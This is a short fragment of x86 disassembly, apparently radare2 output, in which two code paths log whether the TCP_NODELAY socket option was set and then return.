push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.100245d0
add esp, 0x14
pop edi
pop esi
pop ebp
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.100245d0
add esp, 8
pop edi
pop esi
pop ebp
ret